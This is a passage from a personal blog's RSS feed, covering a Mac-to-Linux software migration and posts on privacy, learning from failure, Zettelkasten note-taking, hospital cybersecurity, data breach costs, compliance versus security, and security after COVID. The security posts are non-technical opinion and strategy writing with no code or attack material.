<p>A key staple of my computing needs is my note-taking software and for this, I use two main products which are Obsidian and Standard Notes.  Standard Notes is my key for daily notes as it syncs securely across all my devices and this would become my only note-taking application if they allowed embedded images and backlinks.</p>
<p>On my Mac previously I had tried several variations of note-taking applications ranging from Evernote which I was a strong supporter of until they announced some changes to their policy that had security and privacy implications and then I moved off that platform and tried others such as Bear and Notion, but at the end of the day, what I need is the ability to take plain-text notes, back them up and make changes to them independent of the application that they were created in.</p>
<h3 id="web-browser">Web Browser</h3>
<p>I have been using Firefox for many years as I never really got into using Safari so migrating bookmarks was no drama at all.</p>
<p>I run two browsers on Linux, which is Firefox for my everyday work and Chromium for specific tasks that require a Chrome-based browser.</p>
<h3 id="music">Music</h3>
<p>This was quite easy as despite having a decent collection of MP3s I predominately listen to music online and this is either via Spotify, but more recently I have been using Nuclear which is getting more stable by the day. I never really got into Apple Music so thankfully I avoided that challenge.</p>
<h3 id="text-editors-and-ides">Text Editors and IDEs</h3>
<p>This may seem tragic to some, but for the last couple of years, I have become a VIM advocate as this is a very powerful text editor and it just works. From an IDE perspective, I use Wing Pro for Python which is fully supported on Linux but there is a good selection of other IDEs that have native support for Linux.</p>
<h3 id="video">Video</h3>
<p>For as long as I can remember I have always used VLC as it works well for video consumption, can download video streams and works on every platform, I even have it installed on my mobile device.</p>
<p>I have done some video editing in the past but there is no shortage of tools for this on Linux with the key one being OBS Studio which is predominately what I use now, but there is also KDEnlive which I have heard good things about but have not personally tried.</p>
<p>I will admit that there is a lot of very good software for Mac users in the Video editing space and for those who are video professionals, I can see the appeal of staying on a Mac and not moving to Linux.</p>
<h3 id="image-editors">Image Editors</h3>
<p>I am by no means a graphic designer so my requirements for image editors are pretty basic and even though on the Mac I did use Pixelmator, this was nowhere near its full capacity for this today I use Gimp and Inkscape and this supports all the possible formats and image editing requirements that I have.</p>
<h3 id="password-manager">Password Manager</h3>
<p>This is a big one for me as I have a lot of passwords and initially, I was using 1Password7 but I made the switch to BitWarden a couple of years ago and this has both a native client and web plugins.</p>
<h3 id="communications">Communications</h3>
<p>Thankfully I stopped using iMessage a long time ago and moved to Signal and this was an easy switch as it has a native client.</p>
<p>For work-related communications, these are predominately Google Meet, Zoom or Microsoft Teams and they all work, although, with Microsoft Teams, it is not possible to share just a Window (not sure if that is an issue on Mac) as I am just a guest at these meetings, with Microsoft becoming more friendly towards Linux in recent years, I am confident that this will improve over time.</p>
<h2 id="data">Data</h2>
<p>I was a hardcore user of iCloud but stopped using that heavily a few years ago as a paying customer for the service, it was just plain awful from a user experience perspective, especially when compared to other services such as Dropbox and OneDrive which were leaps and bounds ahead and were able to properly synchronize data across multiple devices.</p>
<p>As I was a Google user, I moved all my working files to Google Drive, but have since started to move this to a self-hosted platform.</p>
<h3 id="office-suite">Office Suite</h3>
<p>For work, I use Google Docs which works everywhere and has no issues with that at all, and I have found that LibreOffice is more than capable of doing all the core functions that I need with regards to spreadsheets, word processing on the home front.</p>
<h3 id="ebooks">eBooks</h3>
<p>Thankfully I never really got into Apple iBooks, as I was heavy into the Kindle ecosystem, but the challenge with this is that they are digitally locked into Amazon and a few of the books in recent times have suddenly disappeared which I can only believe are related to changes with the distribution rights of the books so in recent times, I have decided to only purchase DRM Free content and thankfully most of the books I buy are technical so I can get this from publishers such as No Press Starch and have the freedom to read these on multiple platforms.</p>
<h2 id="conclusion">Conclusion</h2>
<p>My migration to Linux as a result of prolonged hardware issues and poor customer service from Apple, which in hindsight is a blessing.</p>
<p>I have a productive setup, with a machine with decent battery life, that I was able to upgrade so it now has great specs, all at a fraction of the cost of my previous MBP. My files are saved in standard, open formats, and I will be able to open them in the future.</p>
<p>During the last year, this setup has given me way fewer headaches and stress than what Apple was giving me and while it is not perfect, it is stable, efficient, very fast and so much cheaper.</p>
<p>Every user will have different mileage and I am not advocating that everyone migrate to Linux, as being technical did help me find and solve a few quirks, but in general, I had way fewer challenges than I expected and have been very pleasantly surprised.</p>
<p>For those who are sitting on the fence as to whether to try Linux, if you have an old machine lying around, breathe some new life into it and you may be pleasantly surprised, what have you got to lose?</p>
]]></content>
        </item>
        
        <item>
            <title>Privacy</title>
            <link>https://www.nephos.guru/posts/2022/privacy/</link>
            <pubDate>Thu, 07 Jul 2022 01:27:57 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2022/privacy/</guid>
            <description>&lt;p&gt;I read this &lt;a href=&#34;https://www.zdnet.com/article/google-to-wipe-user-location-history-for-visits-to-healthcare-clinics-domestic-violence-shelters/&#34;&gt;article&lt;/a&gt; today in which Google stated that it would &amp;ldquo;wipe user location history for visits to healthcare clinics, domestic violence shelters&amp;rdquo; with the following text as an example:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Suppose the company&amp;rsquo;s systems detect a visit to places including medical facilities, counseling centers, domestic violence shelters, abortion and fertility clinics, or addiction treatment centers. In that case, Fitzpatrick says, &amp;ldquo;we will delete these entries from Location History soon after they visit.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I read this <a href="https://www.zdnet.com/article/google-to-wipe-user-location-history-for-visits-to-healthcare-clinics-domestic-violence-shelters/">article</a> today in which Google stated that it would &ldquo;wipe user location history for visits to healthcare clinics, domestic violence shelters&rdquo; with the following text as an example:</p>
<blockquote>
<p><em>Suppose the company&rsquo;s systems detect a visit to places including medical facilities, counseling centers, domestic violence shelters, abortion and fertility clinics, or addiction treatment centers. In that case, Fitzpatrick says, &ldquo;we will delete these entries from Location History soon after they visit.&rdquo;</em></p>
</blockquote>
<p>Well done Google for making this gesture, but it is nowhere near enough as at the heart of their business model, and that of many tech companies, is the data about each of the users that it uses in its advertising business for targeting etc.</p>
<p>From an investigative perspective, the absence of data is just as telling, if not more so, and nowhere in the article does it state if this policy will cover everyone that uses Google or just a subsection of users?</p>
<p>Privacy is a fundamental right, essential to autonomy and the protection of human dignity, serving as the foundation upon which many other human rights are built.</p>
<p>Privacy enables us to create barriers and manage boundaries to protect ourselves from unwarranted interference in our lives, which allows us to negotiate who we are and how we want to interact with the world around us. Privacy helps us establish boundaries to limit who has access to our bodies, places and things, as well as our communications and our information.</p>
<p>Privacy is essential to who we are as human beings, and we make decisions about it every single day. It gives us a space to be ourselves without judgement, allows us to think freely without discrimination, and is an important element of giving us control over who knows what about us.</p>
<p>We have forgotten about privacy and the importance it plays in our lives and applaud companies who make gestures to giving back some of this fundamental right to us, but who will be ensuring that this happens?</p>
]]></content>
        </item>
        
        <item>
            <title>Failure is Learning</title>
            <link>https://www.nephos.guru/posts/2022/failure_is_learning/</link>
            <pubDate>Sat, 25 Jun 2022 01:23:44 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2022/failure_is_learning/</guid>
            <description>&lt;p&gt;I am sure that at some point in our lives we have all encountered failure and at this point, it may have felt that it was the worst thing that could happen. Now I don&amp;rsquo;t wish to get into the discussion about what type of failure is best, but from my perspective, I have been using this for the last few months to determine the best course of action for me to learn and how I can integrate failure to deepen learning.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I am sure that at some point in our lives we have all encountered failure and at this point, it may have felt that it was the worst thing that could happen. Now I don&rsquo;t wish to get into the discussion about what type of failure is best, but from my perspective, I have been using this for the last few months to determine the best course of action for me to learn and how I can integrate failure to deepen learning.</p>
<p>To provide some context, there are often two approaches to learning which are first we understand the theory of the subject and then do the practical exercises as we progress. The second is to jump in straight away and fumble our way around and then when we hit a roadblock go and look at the theory to understand it deeper.</p>
<p>When I reflect on how I have learnt in the past I have used both of the aforementioned approaches and I find that the best approach for me is to quickly scan all the content (1 - 2 seconds per page) and tag any pages that catch my interest for review later and then at the end of that attempt to do the subject and go from there.</p>
<blockquote>
<p>NOTE: I am not suggesting that if you want to learn something like sky-diving that you watch a YouTube video and go and jump out of a plane, please exercise common sense and ensure that the safety of yourself and others is first and foremost.</p>
</blockquote>
<p><img src="/assets/skydive.jpeg" alt="Skydiving"></p>
<p>In the last month, I have undertaken this on two very different subject areas with the first being to learn about Software Defined Radio (SDR) Hacking and the second is cooking poached eggs.</p>
<p>Two very different fields, but I have found that the approach has worked well when starting with learning to cook the perfect poached egg, I watched a couple of videos and then jumped straight into it. For anyone that has tried this, professional chefs make it look super easy and I went through several variations from using white vinegar to different size pans, stirring speeds, temperature, types, freshness and temperatures of eggs, and the list goes on. My first attempt was edible and luckily so have all the subsequent ones (to varying degrees of course) but each of these small failures, generated a series of questions about what went wrong, why did that happen, and what could I do to correct that etc. Today I finally made restaurant quality look, texture and taste and I am over the moon.</p>
<p>Now how does this work on a deeper subject that requires a high level of technical skills and subject knowledge? Very similar to be honest. I quickly looked through the content and understood the basic premise but as I started going through them I was coming up with a lot of questions and then I encountered a problem and had to start researching what happened, why did it happen and that made me persist even harder and want to understand the subject material even deeper that made the theory part of the subject much more interesting.</p>
<p>Through experiencing failure which is integral to the learning process, it improves information recall, critical thinking and a deeper sense of determination and persistence that will build self-esteem. Failure is a fantastic opportunity for us to grow and instead of looking at it as a negative, we should appreciate the growth opportunities that it provides us and integrate it into our learning and appreciate the lessons that it is teaching us.</p>
]]></content>
        </item>
        
        <item>
            <title>Have I been doing it wrong all these years?</title>
            <link>https://www.nephos.guru/posts/2022/notetaking/</link>
            <pubDate>Tue, 14 Jun 2022 00:27:44 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2022/notetaking/</guid>
            <description>&lt;p&gt;Have you ever had one of those moments when you start to think that the system you have been using for years just isn&amp;rsquo;t working for you anymore?&lt;/p&gt;
&lt;p&gt;I had that experience a few weeks ago when I was doing some personal studying on the weekend and while taking notes, I realised that there were several other projects that I was working on that could benefit from what I was learning and the application of it to these areas could be extremely beneficial. I then asked myself the question, &amp;ldquo;How can I ensure that this information isn&amp;rsquo;t going to be forgotten and how can I apply it across those other areas?&amp;rdquo;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Have you ever had one of those moments when you start to think that the system you have been using for years just isn&rsquo;t working for you anymore?</p>
<p>I had that experience a few weeks ago when I was doing some personal studying on the weekend and while taking notes, I realised that there were several other projects that I was working on that could benefit from what I was learning and the application of it to these areas could be extremely beneficial. I then asked myself the question, &ldquo;How can I ensure that this information isn&rsquo;t going to be forgotten and how can I apply it across those other areas?&rdquo;</p>
<p>I didn&rsquo;t have a clear answer and for the next few hours I was mulling this over as I realised that my note-taking system was very much Top-Down, structured and organised into subjects/areas of interest and not that great at making links and relationships with disparate and in some cases, completely different fields of study or interest.</p>
<p>That afternoon, I was sitting in a coffee shop waiting for my kids and had a couple of hours to spare and decided to do some research on how best I could ensure that the tomes of notes that I have aren&rsquo;t just an archival activity, but a true extension of my thought process, a personal knowledge management system that I could easily access when required.</p>
<p>As I started researching, I came across several references to the Zettelkasten Method and the more that I looked into it, I could see that this method could address the questions of how I could tap into the information that I had collected, but this whole approached seemed overly complicated and the more I looked into the more confusing it became as there are so many variations of this and no real clarity on the system as a whole. I then saw the book &ldquo;How to Take Smart Notes&rdquo; by Sönke Ahrens and figured I would buy it and read it. I dedicated my Sunday to reading the book and honestly, whilst it was an interesting read, I was thinking that this approach wouldn&rsquo;t work, but I kept an open mind and read, and then it hit me. About two-thirds through the book it clicked.</p>
<p>I decided that I would try the approach and so I set up a new notebook and implemented the system and started using it for the notes on my current study topic whilst it has been a challenge to stick with the new method and not fall back into old habits, the benefit I have gotten from just a few weeks has been worth it and the quality of the thinking around the subjects has increased significantly, find previously unknown relationships and the just the depth of understanding on the subject has made it clear that this approach will work and is here to stay.</p>
<p>This brings up one more question which is &ldquo;What do I do with the 20,000+ personal notes that I have in my old system?&rdquo; The answer, Nothing! The reason being is that these are not wasted or need to be reworked into a new format, they need to be rediscovered. I have already gone back to a few of the notes and incorporated aspects of them into the new system and watched it organically grow as I start to find new connections and shall continue to do so.</p>
<p>The purpose of this was to not promote some new product or tell you how you should be taking notes, but to share a challenge that I encountered and if you have experienced similar challenges then maybe this can help and you may find a way to re-energise your learning or study. I have always been a strong believer in self-reflection and challenging systems that you are using to ensure that they still meet your objectives rather than become complacent and do it the same way that you have always done.</p>
<p>I have just started this journey, and can already see the benefits with my use cases if anyone is trying this as well and gets stuck, or has any questions, then please feel free to message me as happy to share my understanding and experiences of course learn from yours.</p>
]]></content>
        </item>
        
        <item>
            <title>Hospitals should only have to focus on saving lives; not on security</title>
            <link>https://www.nephos.guru/posts/2022/hospital_security/</link>
            <pubDate>Fri, 22 Apr 2022 00:27:44 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2022/hospital_security/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Hospitals should only have to focus on saving lives; not on security&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I know that the above statement will offend a lot of people, but before you all start flaming me, let me elaborate on this more and provide you with context as to why I would make such a statement. This past Sunday, I had to take my wife to the ER which resulted in her having to have emergency surgery, and for anyone who has ever been in a hospital with a loved one, knows that it is a very stressful time and our focus and that of the hospital staff is on doing what they can for the patient.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p><strong>Hospitals should only have to focus on saving lives; not on security</strong></p>
</blockquote>
<p>I know that the above statement will offend a lot of people, but before you all start flaming me, let me elaborate on this more and provide you with context as to why I would make such a statement. This past Sunday, I had to take my wife to the ER which resulted in her having to have emergency surgery, and for anyone who has ever been in a hospital with a loved one, knows that it is a very stressful time and our focus and that of the hospital staff is on doing what they can for the patient.</p>
<p>Whilst all of this was happening, there is a lot of &ldquo;hurry up and wait&rdquo; type situations and being curious of nature and as a former CTO/CISO, I looked around at all the technology in the hospital from the perspective of an adversary / cyber-criminal and there is a lot. I saw exposed network ports, unlocked and unmanned computers, many running outdated Operating Systems with just as outdated antivirus, shared credentials and numerous other things that would make any security person cringe. This is not a criticism of the hospitals IT or Security Staff, it is just an unfortunate reality of modern times with the rate of change in technology, interoperability of medical equipment and given the last couple of years with COVID, observations such as exposed network ports are due to makeshift solutions of having cameras in rooms to observe patients and minimize exposure.</p>
<p>When you consider this technology and the fact that the people using these systems are health care professionals whose first priority should be that of looking after the patient, it is obvious why in recent times we have seen an increase in cyber attacks on hospitals and other medical providers. A quick Google search will show you a list of attacks against hospitals such as &ldquo;<a href="https://www.campussafetymagazine.com/hospital/healthcare-systems-iot-cyberattack/">82% of Hospitals Experienced IoT Cyberattack in Past 18 Months</a>&rdquo; by Campus Safety and of those hospitals 34% were Ransomware and 33% paid it.</p>
<p>I am by no means saying that hospitals shouldn&rsquo;t focus on security as they have access to Patient Health Information (PHI), but their primary focus should be on saving lives. I am very much a privacy and security advocate, but when you are being asked questions by the medical staff, you are an open book and whilst there was a split second thought that this is all going to be leaked, you tell them everything as in that situation your focus is on your loved one and you want to make sure that they have all the information that they need.</p>
<p>I grew up in the old school and I am by no means a Saint, but I have strong morals and principles. Criminals used to have their own moral code, hence the term &ldquo;Honor among Thieves&rdquo; and other variations of this such as &ldquo;Prison Justice&rdquo; which is directed at those who hurt children and woman. For those criminals who target hospitals and medical facilities you are affecting patients health and lives. For one second, think about this being someone you love in a hospital that you have taken offline and how you would feel if your family members suffered as a result?</p>
<p>I am sure that there is someone reading this who is saying that &ldquo;they should spend more on security&rdquo; or &ldquo;they should hire better security people&rdquo; or a multitude of other reasons, but hospitals are the same as schools, I would prefer that they put more money towards helping our society and the people in it than having to protect it from those with no morals or principles who would target those institutions. When we look at the skills and resources that are needed in the security space, there is already a shortage across the board and core services such as health care and schools are not able to compete with the likes of big tech companies in attracting top talent and the staff that I have met in these organizations are doing the best they can with the resources that they have. The simple fact of the matter is that it is easier to justify and get support for the latest medical technology that can detect cancer earlier or increase survival rates for treatment than a security product that can reduce the amount of phishing emails that get through. Even if we put this into monetary value, if a hospital puts a higher priority on security than saving lives it would be a front page scandal, it is a &ldquo;Damned if you do, Damned if you don&rsquo;t&rdquo; scenario.</p>
<p>For the medical and support staff at St Luke&rsquo;s Hospital Quezon City, that took such great care of my wife you are all hero&rsquo;s in my book and even after a tough couple of years with COVID on top of your normal workload, you still had a smile and friendly disposition that makes you feel that everything is going to be okay.</p>
]]></content>
        </item>
        
        <item>
            <title>The Real Cost of a Data Breach</title>
            <link>https://www.nephos.guru/posts/2021/real_cost_data_breach/</link>
            <pubDate>Sun, 25 Jul 2021 20:02:27 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2021/real_cost_data_breach/</guid>
            <description>&lt;p&gt;Today we are in a situation that many have never faced before, and organisations of all sizes are looking at ways to cut costs. One area that I have seen is with regards to cybersecurity due to the previous unprecedented spending with boards and executives now asking what they have achieved?&lt;/p&gt;
&lt;p&gt;I had an interesting conversation recently about security and the costs involved to provide adequate protection, and a statement was made that shocked me. It was &amp;ldquo;Given that there seems to be a breach every other day in the news; we just need to be seen to take reasonable measures to demonstrate we did our best.&amp;rdquo;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Today we are in a situation that many have never faced before, and organisations of all sizes are looking at ways to cut costs. One area that I have seen is with regards to cybersecurity due to the previous unprecedented spending with boards and executives now asking what they have achieved?</p>
<p>I had an interesting conversation recently about security and the costs involved to provide adequate protection, and a statement was made that shocked me. It was &ldquo;Given that there seems to be a breach every other day in the news; we just need to be seen to take reasonable measures to demonstrate we did our best.&rdquo;</p>
<p>The underlying sentiment of the previous statement is desensitisation and apathy in &ldquo;it is happening to everyone, so there is nothing I can do.&rdquo; It got me thinking as to what is the real cost to a data breach?</p>
<p>The most recent IBM/Ponemon Institute study calculated the cost of a data breach at $242 per stolen record, and more than $8 million for an average breach in the US. The same study estimated that a typical company has a 29.6% chance of experiencing a data breach in the next 24 months, a dramatic increase in the odds from just a few years ago.</p>
<p>These are some disturbing statistics, but just looking at the above financials means that we will take a purely accounting approach to determine an amount that we spend to avoid a breach. However, this should not be the case as there are other factors to be considered, which are:</p>
<ul>
<li><strong>Legal Costs</strong> - One of the most visible costs to a company that encounters a data breach is from legal fees. These costs range from class action suits, settlements and potentially thousands of hours of attorney time are costs not often factored into the total loss reported.</li>
<li><strong>Regulatory Fines</strong> - In the last few years, there has been a massive uptake in government oversight and in particular GDPR as well as local governments Data Protection Acts. The governing bodies have the ability to penalise companies as much as 4% of their top-line revenue for failure to protect personally identifiable information.</li>
<li><strong>Brand Reputation / Lost Business</strong> - The publicity that you get from a data breach can have far-reaching implications on customer loyalty. The reputational damage can, in turn, slow a businesses sales potential for many years which some businesses will never be able to recover. Would you trust a bank with your life savings if they had a massive data breach?</li>
<li><strong>Company Value</strong>  - A significant leak will result in the company bleeding from both the top and bottom line. A typical company could lose up to 2% of its value resulting in millions lost for shareholders.</li>
</ul>
<h2 id="does-remote-working-make-incidents-more-expensive">Does Remote Working make incidents more expensive?</h2>
<p>Does remote working make incidents more expensive, Yes and No. If your organisation before COVID19 had a significant percentage of the organisation working remotely and had factored this into their incident response plan, then I would like to say No.</p>
<p>If your organisation, like many, had to make haste moves to continue operations by moving the majority of the workforce to remote work, then the answer is Yes. The potential increase in the cost of exposure in my estimates by 15-20% higher. Security has now moved from a predominately centralised to a decentralised model, changing your trust boundary. The impact on network security, as well as endpoint protection, complicates incident response and how internal teams respond to security incidents.</p>
<h2 id="what-does-the-data-say">What does the Data Say?</h2>
<p>Whilst a lot of the information about the real costs of a data breach may never be publicly revealed, I was curious to take a couple of examples and see what I could find that could provide an indication as to the real cost of a data breach.</p>
<h3 id="marriott-hotels">Marriott Hotels</h3>
<p>The first that we will look at is the data breach in 2018 in which up to 500 million guests data was exposed.</p>
<p><img src="/assets/marriott.png" alt="Marriott Data Breach"></p>
<p>As you can see from the chart, there was a steep decline post the announcement, but it did start to make an upward movement a few weeks later.</p>
<p>In addition to this, the company received a GDPR fine of 110.3m Euros.</p>
<p>On March 31st, 2020, the hotel chain again disclosed a security breach that impacted the data of more than 5.2 million hotel guests who used their company&rsquo;s loyalty application.</p>
<p><img src="/assets/marriott1.png" alt="Marriott Data Breach 2"></p>
<p>There was still a drop in the share price, although this time around it did recover within a few days. The interesting question will be what is GDPR fine this time around as one of the considerations in determining the penalty is the track record which unfortunately is not ideal for Marriott.</p>
<h3 id="mgm-resorts">MGM Resorts</h3>
<p>Last year in 2019, MGM Resorts suffered a massive data breach. The news of the breach incident started to circulate in February 2020 when hackers leaked the personal details of 10.6 million hotel guests for free download. But in the later findings, the number increased by 14 times (nearly 142 million) than the number recorded in February 2020.</p>
<p><img src="/assets/mgm.png" alt="MGM Data Breach"></p>
<p>Whilst there is clear evidence that there is a massive drop in the share price, this may not all be contributed to the data breach as it was around the same time as COVID-19. Still, it was a contributing factor when you look at the price leading up to the initial data breach.</p>
<p>At present, there have been no fines issued. Still, they are subject to both GDPR and CCPA with the California Attorney General being able to impose penalties up to $2500 per violation. I will let you do the math, but even if the fines are similar to what Marriott incurred, this becomes a costly security mishap.</p>
<h2 id="closing-remarks">Closing Remarks</h2>
<p>When looking at the costs and how do you prevent these, you need to change your outlook. Stop thinking about how do I prevent this as it is evident that a determined adversary given enough time and resources will be successful.</p>
<p>It would be best if you started thinking that your network has already been breached and focus on how you can detect it in the fastest amount of time. This mindset will allow you to minimise the impact on the business and help ensure that weaknesses are identified and mitigated. A key component in this is Cyber Threat Intelligence in which you can detect this promptly and then address the vulnerability.</p>
<p>These insights that you get from a good OSINT (Open Source Intelligence) platform allow you to assess the risk at the business level.</p>
<p>Security is not just a technical problem it is a business problem and needs to speak the same language as the business and identify risks and mitigating strategies without FUD (Fear, Uncertainty and Doubt)</p>
<h2 id="references">References:</h2>
<ul>
<li><a href="https://www.ibm.com/security/data-breach">https://www.ibm.com/security/data-breach</a></li>
<li><a href="https://securityboulevard.com/2020/08/5-biggest-data-breaches-of-2020-so-far/">https://securityboulevard.com/2020/08/5-biggest-data-breaches-of-2020-so-far/</a></li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Compliance Does NOT Equal Security!</title>
            <link>https://www.nephos.guru/posts/2021/compliance_not_equal_security/</link>
            <pubDate>Sun, 25 Jul 2021 17:28:34 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2021/compliance_not_equal_security/</guid>
            <description>&lt;p&gt;When you think about Security for your bank or health care provider, what comes to mind? Is it, my bank is PCI-DSS (Payment Card Industry Data Security Standard) compliant, or my Health Care provider is HIPPA (Health Insurance Portability and Account Act)compliant?&lt;/p&gt;
&lt;p&gt;If it is you are not alone, but you are fooling yourself if you believe that these certifications alone are sufficient to provide adequate protection.&lt;/p&gt;
&lt;p&gt;Compliance is often a requirement by a governing body based on the industry that you are in, and whilst they provide a solid framework, this should not be the end goal of any security program and here is why:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>When you think about Security for your bank or health care provider, what comes to mind? Is it, my bank is PCI-DSS (Payment Card Industry Data Security Standard) compliant, or my Health Care provider is HIPPA (Health Insurance Portability and Account Act)compliant?</p>
<p>If it is you are not alone, but you are fooling yourself if you believe that these certifications alone are sufficient to provide adequate protection.</p>
<p>Compliance is often a requirement by a governing body based on the industry that you are in, and whilst they provide a solid framework, this should not be the end goal of any security program and here is why:</p>
<p><strong>Compliance does not guarantee Security</strong> - You only have to look into any newspaper these days, and there is a security breach which appears to be bigger than the last. If we look at the top few for this year alone, what is familiar with all of them is they all had industry certifications and are compliant businesses.</p>
<p><strong>Compliance standards are not comprehensive</strong> - This is a catch 22 in that if the standards are too prescriptive, then they become a &ldquo;hackers playbook&rdquo; on how to circumvent. If they are not too loose, then any value that they provide can be often overlooked, ignored or just given lip-service. Many compliance standards offer valuable guidance in areas such as data handling, user privacy and breach disclosure; however, they often miss other critical areas such as security awareness, business continuity and penetration testing.</p>
<p><strong>Threats evolve faster than compliance standards</strong> - Today, threat actors are seeking new ways to identify zero-day vulnerabilities, bypass the multitude of security controls. They are continually evolving the Tactics, Techniques and Procedures (TTP&rsquo;s) they are using and the resulting threats. Now contrast this with the relatively static nature of compliance standards and even more so the compliance-centric security standards.</p>
<h1 id="compliance-and-security---a-symbiotic-relationship">Compliance and Security - A Symbiotic Relationship</h1>
<p><img src="/assets/compliance_loading.png" alt="Compliance Loading"></p>
<p>I don&rsquo;t want those who have read the above to think that I don&rsquo;t believe in industry certifications, I do. What I have a concern with is when organizations believe that compliance alone is sufficient or that it should take a higher priority as this opens up a multitude of avenues for compromise.</p>
<p>I believe that the best course of action is in turning the security tools and processes into a compliant system. Now, this does require more effort as you need to prove the compliance of these with the regulatory standard. Taking a security approach first is something that I have personally used several times and most recently in obtaining MTCS Tier 3 Certification for a company in less than six months. The challenge is that you need to articulate the intent of the standard and how you comply with that. The following is a high-level roadmap of how to start with a security-first approach to compliance:</p>
<ul>
<li>Identify all the current security tools used and what function they perform</li>
<li>Conduct a comprehensive risk assessment of the types of information processed</li>
<li>Understand the requirements related to the framework</li>
<li>Conduct a comprehensive Gap Analysis</li>
<li>Plan how to address and solve each of the gaps identified</li>
<li>Test the efficiency of the entire security solution</li>
<li>Conduct regular assessments</li>
</ul>
<p>Compliance and Security need to work hand in hand, not Security versus Compliance.</p>
<h1 id="final-thoughts">Final Thoughts</h1>
<p>When you consider the implications for non-compliance, many organizations believe that adopting a compliance-centric approach is a reasonable and judicious decision.  It is critical to remember that whilst many provide clear and substantial security benefits, they are neither comprehensive nor flexible enough. For a business to address the threat landscape today, compliance can&rsquo;t be the only focal point if you are to have an effective security program.</p>
]]></content>
        </item>
        
        <item>
            <title>Security in the &#34;New Normal&#34;</title>
            <link>https://www.nephos.guru/posts/2021/security_new_normal/</link>
            <pubDate>Wed, 21 Jul 2021 09:43:56 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2021/security_new_normal/</guid>
            <description>&lt;p&gt;At the beginning of the COVID-19 crisis, many organizations suddenly transitioned to a remote workforce with an increased focus on servicing customers via digital channels. While this rapid transition occurred, telecommuting&amp;rsquo;s sudden move created some security gaps with employees using insecure devices and networks. Cybercriminals, never wanting to let a crisis go to waste, used well-known attack techniques to capitalize on people&amp;rsquo;s COVID-19 fears. The following are some statistics with regards to COVID-19 cybercrime:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>At the beginning of the COVID-19 crisis, many organizations suddenly transitioned to a remote workforce with an increased focus on servicing customers via digital channels. While this rapid transition occurred, telecommuting&rsquo;s sudden move created some security gaps with employees using insecure devices and networks. Cybercriminals, never wanting to let a crisis go to waste, used well-known attack techniques to capitalize on people&rsquo;s COVID-19 fears. The following are some statistics with regards to COVID-19 cybercrime:</p>
<ul>
<li>The number of unsecured remote desktop machines rose by more than 40%.</li>
<li>RDP brute-force attacks grew 400% in March and April alone.</li>
<li>Email scams related to COVID-19 surged 667% in March alone</li>
<li>Users are now three times more likely to click on pandemic-related phishing scams.</li>
<li>COVID-19 drives 72% to 105% ransomware spike.</li>
</ul>
<p>When you look at some of the above statistics, it underscores the vital role that security plays in not only enabling remote operations but in the future as companies transform how their workforce, customers, supply chain, and partners will work together.</p>
<p>As I reflect on the past eighteen months from a security perspective, there are three main areas that all cybersecurity leaders needed to focus on as the business transformed and embraced new processes and technologies: firefighting hot spots, cleaning up operations, and policy and process evolution.</p>
<h2 id="firefighting-hot-spots">Firefighting hot spots</h2>
<p>With the rapid transition to remote work, often in a less secure environment and in some cases having to use personal computers, this created several immediate security challenges that needed to be remediated and mitigated as a priority. Awareness campaigns had to be done by many companies focusing on digital hygiene, such as regular patching, pandemic-themed phishing campaign training, restriction on the use of personal printers, and prohibiting USB devices.  ## Cleaning up operations As part of the pandemic response, many companies had no choice but to accept new risks to keep operations going before they could reevaluate these risks and then tighten controls at a later stage.</p>
<p>Many cybercriminals took advantage of the chaos that ensued during this disruption period as trust boundaries and responsibilities became blurred.</p>
<h2 id="policy-and-process-evolution">Policy and process evolution</h2>
<p>As we all settled into the new way of working for the foreseeable future, organizations started to review existing policies regarding remote working. They began to look at longer-term solutions to mitigate the associated risks and evolving existing processes with a closer focus on securing the value chain.</p>
<h1 id="whats-next">What&rsquo;s next?</h1>
<p>Despite some countries opening up and allowing people to go back to the office, there are still places that this is not an option.  This is a heated topic with many businesses wanting staff to return the office, but there is also a large movement of people that are resisting this request.  This is a long and heated topic with arguments on both sides that are valid, but I believe that remote working is here to stay.</p>
<p><img src="/assets/wfh.png" alt="Work from Home Image"></p>
<p>As such,business leaders need to handle the new business environment. Security Leaders need to think about current cybersecurity activities and long-term cyber risk strategies.</p>
<p>To be able to secure the new business environment, security leaders will need to address three priority areas:</p>
<ul>
<li>Secure Workforce.</li>
<li>Secure Customer Journey through digital transformation.</li>
<li>Evaluate the supply chain and third-party risk.</li>
</ul>
<h2 id="secure-workforce">Secure Workforce</h2>
<p>As we move to a remote workforce, the attack surface increases, and as such, static network-based security perimeters are no longer sufficient. The security needs to be dynamic and focus on users, assets, and resources as the new boundaries. The protection of these devices will need to utilize real-time anomaly detection with endpoint detection and response systems.</p>
<p>In light of the distributed workforce, cyber-threat intelligence becomes crucial in conjunction with inside-threat detection to provide early warnings of attacks and or compromises.</p>
<p>Moving to a remote workforce this also provides an excellent opportunity for those struggling to find cybersecurity resources due to existing gaps in the local talent pools to extend beyond the geographical boundaries to tap into the broader pool of talent.</p>
<h2 id="secure-customer-journey-through-digital-transformation">Secure Customer Journey through digital transformation</h2>
<p>For industries that have had to transition from traditional bricks and mortar to embrace digital or seen a massive increase in demand needs to focus on providing a frictionless customer-security journey. A key area for this is customer identity and access management to have a single customer identity across all digital channels.</p>
<p>As you are looking at the customer journey, it is time to embrace a DevSecOps approach with security and privacy by design built into it and testing it at scale to ensure that they can continue to function when under load without impacting the customer&rsquo;s experience.</p>
<h2 id="evaluate-the-supply-chain-and-third-party-risk">Evaluate the supply chain and third-party risk</h2>
